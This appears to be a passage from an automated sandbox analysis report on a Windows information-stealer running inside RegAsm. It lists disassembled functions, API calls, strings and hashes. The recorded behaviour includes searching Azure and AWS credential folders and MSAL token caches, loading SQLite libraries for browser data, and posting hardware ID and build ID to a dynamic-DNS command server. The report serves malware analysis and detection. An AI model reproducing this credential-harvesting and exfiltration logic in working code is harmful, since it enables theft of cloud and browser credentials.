StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B91
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BA7
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BB9
Sleep.KERNEL32(0000EA60), ref: 00416BC8

Strings

sqlp.dll, xrefs: 00416CC7
ERROR, xrefs: 00416B89
sqlite3.dll, xrefs: 00416C31
ERROR, xrefs: 00416A61
sqlp.dll, xrefs: 00416C96
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416C77
ERROR, xrefs: 00416BB1
sqlite3.dll, xrefs: 00416C65
ERROR, xrefs: 00416B9F
ERROR, xrefs: 00416B73
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416CA8
ERROR, xrefs: 00416ABA
ERROR, xrefs: 00416B1A

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$sqlite3.dll$sqlite3.dll$sqlp.dll$sqlp.dll
API String ID: 2840494320-608462545
Opcode ID: feb3d2a726b68aad2bc47e55e59194f6274ab8656105d26091bcae1cbec022c3
Instruction ID: c380a442c22d4a6f6b6b501b298ba4a24a493f2d26715ad5769ec934e4a293b5
Opcode Fuzzy Hash: feb3d2a726b68aad2bc47e55e59194f6274ab8656105d26091bcae1cbec022c3
Instruction Fuzzy Hash: 83914E71E40119ABCF10FBA6DD47ACC7771AF04308F51402BF904B7191DBB8AE898B98

Function 00401666 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 129
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00401696
wsprintfW.USER32 ref: 004016BC
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000100,00000000), ref: 004016E6
GetProcessHeap.KERNEL32(00000008,000FFFFF), ref: 004016FE
RtlAllocateHeap.NTDLL(00000000), ref: 00401705
_time64.MSVCRT ref: 0040170E
srand.MSVCRT ref: 00401715
rand.MSVCRT ref: 0040171E
_memset.LIBCMT ref: 0040172E
WriteFile.KERNEL32(?,00000000,000FFFFF,?,00000000), ref: 00401746
_memset.LIBCMT ref: 00401763
CloseHandle.KERNEL32(?), ref: 00401771
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,04000100,00000000), ref: 0040178D
ReadFile.KERNEL32(00000000,00000000,000FFFFF,?,00000000), ref: 004017A9
_memset.LIBCMT ref: 004017BE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004017C8
RtlFreeHeap.NTDLL(00000000), ref: 004017CF
CloseHandle.KERNEL32(?), ref: 004017DB

Strings

%s%s, xrefs: 004016B6
delays.tmp, xrefs: 004016A4

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileHeap$_memset$CloseCreateHandleProcess$AllocateFreePathReadTempWrite_time64randsrandwsprintf
String ID: %s%s$delays.tmp
API String ID: 1620473967-1413376734
Opcode ID: a4c6434a9d896b8c05fe3589387c5a0ab5990a3deb65ea94288cc25d28575b73
Instruction ID: 7b9a5a96d4ba9701844ef46366e4f30bb8287ab9eabac308b73492efbeb07c71
Opcode Fuzzy Hash: a4c6434a9d896b8c05fe3589387c5a0ab5990a3deb65ea94288cc25d28575b73
Instruction Fuzzy Hash: 1341C6B1900218ABDB205F61AC4CF9F7B7DEB85715F1002BAF10AE10A1DA354A54CF38

Function 00416486 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 114stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004164AB

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 004164CA
lstrcatA.KERNEL32(?,\.azure\), ref: 004164E7

Part of subcall function 00415F9A: wsprintfA.USER32 ref: 00415FE1
Part of subcall function 00415F9A: FindFirstFileA.KERNEL32(?,?), ref: 00415FF8
Part of subcall function 00415F9A: StrCmpCA.SHLWAPI(?,00436AAC), ref: 00416019
Part of subcall function 00415F9A: StrCmpCA.SHLWAPI(?,00436AB0), ref: 00416033
Part of subcall function 00415F9A: wsprintfA.USER32 ref: 0041605A
Part of subcall function 00415F9A: StrCmpCA.SHLWAPI(?,00436647), ref: 0041606E
Part of subcall function 00415F9A: wsprintfA.USER32 ref: 0041608B
Part of subcall function 00415F9A: PathMatchSpecA.SHLWAPI(?,?), ref: 004160B8
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?), ref: 004160EE
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,00436AC8), ref: 00416100
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,?), ref: 00416113
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,00436ACC), ref: 00416125
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,?), ref: 00416139

_memset.LIBCMT ref: 0041651F
lstrcatA.KERNEL32(?,00000000), ref: 00416541
lstrcatA.KERNEL32(?,\.aws\), ref: 0041655E

Part of subcall function 00415F9A: wsprintfA.USER32 ref: 004160A2
Part of subcall function 00415F9A: FindNextFileA.KERNEL32(?,?), ref: 004162C8
Part of subcall function 00415F9A: FindClose.KERNEL32(?), ref: 004162DC

_memset.LIBCMT ref: 00416593
lstrcatA.KERNEL32(?,00000000), ref: 004165B5
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 004165D2
_memset.LIBCMT ref: 00416607

Strings

\.IdentityService\, xrefs: 004165C6
YzA, xrefs: 00416619
\.aws\, xrefs: 00416552
Azure\.aws, xrefs: 0041656E
*.*, xrefs: 004164FF
Azure\.IdentityService, xrefs: 004165E2
\.azure\, xrefs: 004164DB
*.*, xrefs: 00416573
msal.cache, xrefs: 004165E7
Azure\.azure, xrefs: 004164FA

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$_memsetwsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$YzA$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4216275855-362661257
Opcode ID: ae9bc2b4159648a03df1d8199bceb4a7e4afc74ceae7735b5587b2c0e23e741f
Instruction ID: e09d3565937ed7cb3245d894ae8b678399d548b41c077326798facb81f997529
Opcode Fuzzy Hash: ae9bc2b4159648a03df1d8199bceb4a7e4afc74ceae7735b5587b2c0e23e741f
Instruction Fuzzy Hash: 87410671D4021D6ACB14FB61EC47FDD7378AB09308F5044AAB605B70D1EAB9AB888F58

Function 00404B2E Relevance: 33.6, APIs: 12, Strings: 7, Instructions: 378networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
StrCmpCA.SHLWAPI(?), ref: 00404BEB
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404D83
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00404DC7
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00404DF5

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

lstrlenA.KERNEL32(?,00436967,",build_id,004377BC,------,004377B0,",hwid,0043779C,------), ref: 004050EE
lstrlenA.KERNEL32(?,?,00000000), ref: 00405101
HttpSendRequestA.WININET(00000000,?,00000000), ref: 0040510F
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040516C
InternetCloseHandle.WININET(00000000), ref: 00405177
InternetCloseHandle.WININET(?), ref: 0040518E
InternetCloseHandle.WININET(?), ref: 0040519A

Strings

", xrefs: 00405039
------, xrefs: 00404C75
------, xrefs: 00404DFB
hwid, xrefs: 00404EAD
", xrefs: 00404ED9
build_id, xrefs: 0040500D
------, xrefs: 00404F5B

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileOptionReadSend
String ID: "$"$------$------$------$build_id$hwid
API String ID: 3006978581-3960666492
Opcode ID: fdeb0b88a224adc96af4d2bce8d64ed80c8e9e74be0c66b66c89061a8a227047
Instruction ID: dfbc783d11866e726b8d78bab9461151912d3a7d9eee88907fb077fc5923263b
Opcode Fuzzy Hash: fdeb0b88a224adc96af4d2bce8d64ed80c8e9e74be0c66b66c89061a8a227047
Instruction Fuzzy Hash: 1E02C371D5512A9ACF20EB21CD46ADDB3B5FF04308F4140E6A548B3195DAB87ECA8FD8

Function 0040ABE5 Relevance: 33.3, APIs: 22, Instructions: 315stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001,004373C8,0043680E,?,?,?), ref: 0040AC8A
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AD94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD9B
StrCmpCA.SHLWAPI(?,004373D4,00000000), ref: 0040AE4C
StrCmpCA.SHLWAPI(?,004373D8), ref: 0040AE74
lstrcatA.KERNEL32(00000000,?), ref: 0040AE98
lstrcatA.KERNEL32(00000000,004373DC), ref: 0040AEA4
lstrcatA.KERNEL32(00000000,?), ref: 0040AEAE
lstrcatA.KERNEL32(00000000,004373E0), ref: 0040AEBA
lstrcatA.KERNEL32(00000000,?), ref: 0040AEC4
lstrcatA.KERNEL32(00000000,004373E4), ref: 0040AED0
lstrcatA.KERNEL32(00000000,?), ref: 0040AEDA
lstrcatA.KERNEL32(00000000,004373E8), ref: 0040AEE6
lstrcatA.KERNEL32(00000000,?), ref: 0040AEF0
lstrcatA.KERNEL32(00000000,004373EC), ref: 0040AEFC
lstrcatA.KERNEL32(00000000,?), ref: 0040AF06
lstrcatA.KERNEL32(00000000,004373F0), ref: 0040AF12
lstrcatA.KERNEL32(00000000,?), ref: 0040AF1C
lstrcatA.KERNEL32(00000000,004373F4), ref: 0040AF28
lstrlenA.KERNEL32(00000000), ref: 0040AF7A
lstrlenA.KERNEL32(?), ref: 0040AF95
DeleteFileA.KERNEL32(?), ref: 0040AFD8

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: f8360c7b20f5c763c3fe5353f3bf17e43d3046bd4b5fca662abcecd2461d19c4
Instruction ID: cb12ae993d912c3b022d06b06e2c92592983fa858de450ac94d351c27304df7b
Opcode Fuzzy Hash: f8360c7b20f5c763c3fe5353f3bf17e43d3046bd4b5fca662abcecd2461d19c4
Instruction Fuzzy Hash: D7C14D32904208AFDF15EBA1ED4A9DD7B76EF04309F20102AF501B30A1DB7A6E959F95

Function 0041700A Relevance: 30.8, APIs: 8, Strings: 9, Instructions: 1029networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

CloseHandle.KERNEL32(00000000,?,?,?,?,00418558), ref: 004170A6
OpenEventA.KERNEL32(001F0003,00000000,?,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004170B5
CreateDirectoryA.KERNEL32(?,00000000,004366D6), ref: 004175D3
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00417694
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004176AD

Part of subcall function 00404B2E: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
Part of subcall function 00404B2E: StrCmpCA.SHLWAPI(?), ref: 00404BEB

Part of subcall function 0041398B: StrCmpCA.SHLWAPI(?,block,?,?,0041770D), ref: 004139A0
Part of subcall function 0041398B: ExitProcess.KERNEL32 ref: 004139AB

Part of subcall function 00405F39: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
Part of subcall function 00405F39: StrCmpCA.SHLWAPI(?), ref: 00405FF6

Part of subcall function 00413161: strtok_s.MSVCRT ref: 00413180
Part of subcall function 00413161: strtok_s.MSVCRT ref: 00413203

Sleep.KERNEL32(000003E8), ref: 00417A63

Part of subcall function 00405F39: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
Part of subcall function 00405F39: HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
Part of subcall function 00405F39: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

CreateEventA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,00418558), ref: 004170C9

Part of subcall function 0041257F: __EH_prolog3_catch_GS.LIBCMT ref: 00412589
Part of subcall function 0041257F: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417DFA,.exe,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4,00436CA0,00436C9C), ref: 004125A8
Part of subcall function 0041257F: Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Part of subcall function 0041257F: Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
Part of subcall function 0041257F: StrCmpCA.SHLWAPI(?), ref: 004125DC
Part of subcall function 0041257F: CloseHandle.KERNEL32(00000000), ref: 004125F0

CloseHandle.KERNEL32(?), ref: 00417FC9

Strings

58cd250b15e666e5f72fcf5caa6cb131, xrefs: 004176D5
http://, xrefs: 00417E20
hopto, xrefs: 00417E68
lC, xrefs: 00417E91, 00417EB5
.exe, xrefs: 00417DCD
cowod., xrefs: 00417E44
.exe, xrefs: 00417512
org, xrefs: 00417EB0
_DEBUG.zip, xrefs: 00417EFE

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InternetOpen$CloseCreateHandlelstrcpy$EventHeapProcessProcess32strtok_s$AllocConnectDirectoryExitFirstH_prolog3_catch_HttpNameNextOptionRequestSleepSnapshotToolhelp32Userlstrcatlstrlen
String ID: .exe$.exe$58cd250b15e666e5f72fcf5caa6cb131$_DEBUG.zip$cowod.$hopto$http://$org$lC
API String ID: 305159127-1636128746
Opcode ID: 6d78f0ac804fd57a1086615410ebaa10ff6b96fde52fc882cf5b60deeac91281
Instruction ID: e6a5137aab0b02585c312a366981b90c2d2ef84b23aca7c17d1f9e0283a89aea
Opcode Fuzzy Hash: 6d78f0ac804fd57a1086615410ebaa10ff6b96fde52fc882cf5b60deeac91281
Instruction Fuzzy Hash: 839230715483419FC620FF26D94268EB7E1FF84308F51482FF58467191DBB8AA8D8B9B

Function 00413571 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 262stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004135B3
StrCmpCA.SHLWAPI(?,true), ref: 00413675

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 00410581

lstrcpyA.KERNEL32(?,?), ref: 00413737
lstrcpyA.KERNEL32(?,00000000), ref: 00413768
lstrcpyA.KERNEL32(?,00000000), ref: 004137A4
lstrcpyA.KERNEL32(?,00000000), ref: 004137E0
lstrcpyA.KERNEL32(?,00000000), ref: 0041381C
lstrcpyA.KERNEL32(?,00000000), ref: 00413858
lstrcpyA.KERNEL32(?,00000000), ref: 00413894
strtok_s.MSVCRT ref: 00413958

Strings

true, xrefs: 0041366F
false, xrefs: 0041368E

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: false$true
API String ID: 2116072422-2658103896
Opcode ID: befc15b187be6b2b38e80563b1c0e317862952651bbf4cbd0d99922f73119e34
Instruction ID: 65d56f248c55408504232a4b248d2aaf7f14f04557fc70ec434470b8b9719434
Opcode Fuzzy Hash: befc15b187be6b2b38e80563b1c0e317862952651bbf4cbd0d99922f73119e34
Instruction Fuzzy Hash: 39B16EB5900218ABCF64EF55DC89ACA77B5BF18305F0001EAE549A7261EB75AFC4CF48

Function 00405237 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 161networkmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040527E
RtlAllocateHeap.NTDLL(00000000), ref: 00405285
InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 004052A7
StrCmpCA.SHLWAPI(?), ref: 004052C1
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004052F1
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405394
InternetReadFile.WININET(?,?,00000400,?), ref: 004053DA
InternetCloseHandle.WININET(?), ref: 00405439
